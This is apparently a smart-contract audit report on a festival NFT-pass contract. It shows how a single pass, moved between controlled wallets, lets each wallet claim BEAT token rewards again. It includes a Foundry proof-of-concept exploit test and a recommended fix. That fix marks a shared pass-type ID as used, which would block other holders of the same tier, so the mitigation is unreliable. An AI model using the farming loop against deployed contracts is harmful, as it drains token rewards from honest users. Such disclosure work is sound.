Root + Impact
Description
-
Normal Behavior:
Festival passes (NFTs) allow a user to attend a performance and earn BEAT tokens as a reward. Each wallet that attends a performance with a valid pass should be eligible for BEAT tokens once, reflecting fair and individual participation.
-
Issue:
Users can transfer the same NFT pass across multiple wallets during the performance window. Each new wallet that receives the pass can independently call attendPerformance()
, allowing the same NFT to be used multiple times. This enables attackers to farm BEAT tokens infinitely by looping transfers among controlled wallets.
function attendPerformance(uint256 performanceId) external {
require(
isPerformanceActive(performanceId),
"Performance is not active"
);
require(hasPass(msg.sender), "Must own a pass"); @>
require(
!hasAttended[performanceId][msg.sender],
"Already attended this performance"
);
...
}
Risk
Likelihood:
NFT transfers are unrestricted during the performance time window.
Each new wallet receiving the NFT is treated as a unique eligible participant.
There is no mapping to track if a specific pass ID has already been used to attend the same performance.
Impact:
-
Attackers can farm unlimited BEAT tokens with a single VIP pass.
-
Token economy can be significantly diluted, undermining any token utility, reward system, or incentive structure.
-
Creates an unfair advantage for attackers while penalizing honest users.
Proof of Concept
function test_Exploit_PassTransferFarming() public {
address attacker = vm.addr(1);
address[] memory alts = new address[](3);
for (uint256 i = 0; i < 3; i++) {
alts[i] = vm.addr(100 + i);
}
vm.deal(attacker, 1 ether);
vm.prank(attacker);
festivalPass.buyPass{value: VIP_PRICE}(2);
vm.startPrank(organizer);
uint256 perfId = festivalPass.createPerformance(
block.timestamp + 1 hours,
2 hours,
100e18
);
vm.stopPrank();
vm.warp(block.timestamp + 90 minutes);
for (uint256 i = 0; i < alts.length; i++) {
address current = i == 0 ? attacker : alts[i - 1];
address next = alts[i];
vm.prank(current);
festivalPass.safeTransferFrom(current, next, 2, 1, "");
vm.prank(next);
festivalPass.attendPerformance(perfId);
}
for (uint256 i = 0; i < alts.length; i++) {
assertEq(beatToken.balanceOf(alts[i]), 200e18);
}
}
Recommended Mitigation
+ mapping(uint256 => mapping(uint256 => bool)) public passUsedInPerformance;
// passId => performanceId => used
function attendPerformance(uint256 performanceId, uint256 passId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(
passId == GENERAL_PASS || passId == VIP_PASS || passId == BACKSTAGE_PASS,
"Invalid pass ID"
);
require(balanceOf(msg.sender, passId) > 0, "You do not own this pass"); // Must own this pass
require(!hasAttended[performanceId][msg.sender], "Already attended"); // One attendance per address
require(!passUsedInPerformance[passId][performanceId], "Pass already used"); // One use per pass
require(
block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN,
"Cooldown period not met"
);
hasAttended[performanceId][msg.sender] = true;
passUsedInPerformance[passId][performanceId] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(
msg.sender,
performances[performanceId].baseReward * multiplier
);
emit Attended(
msg.sender,
performanceId,
performances[performanceId].baseReward * multiplier
);
}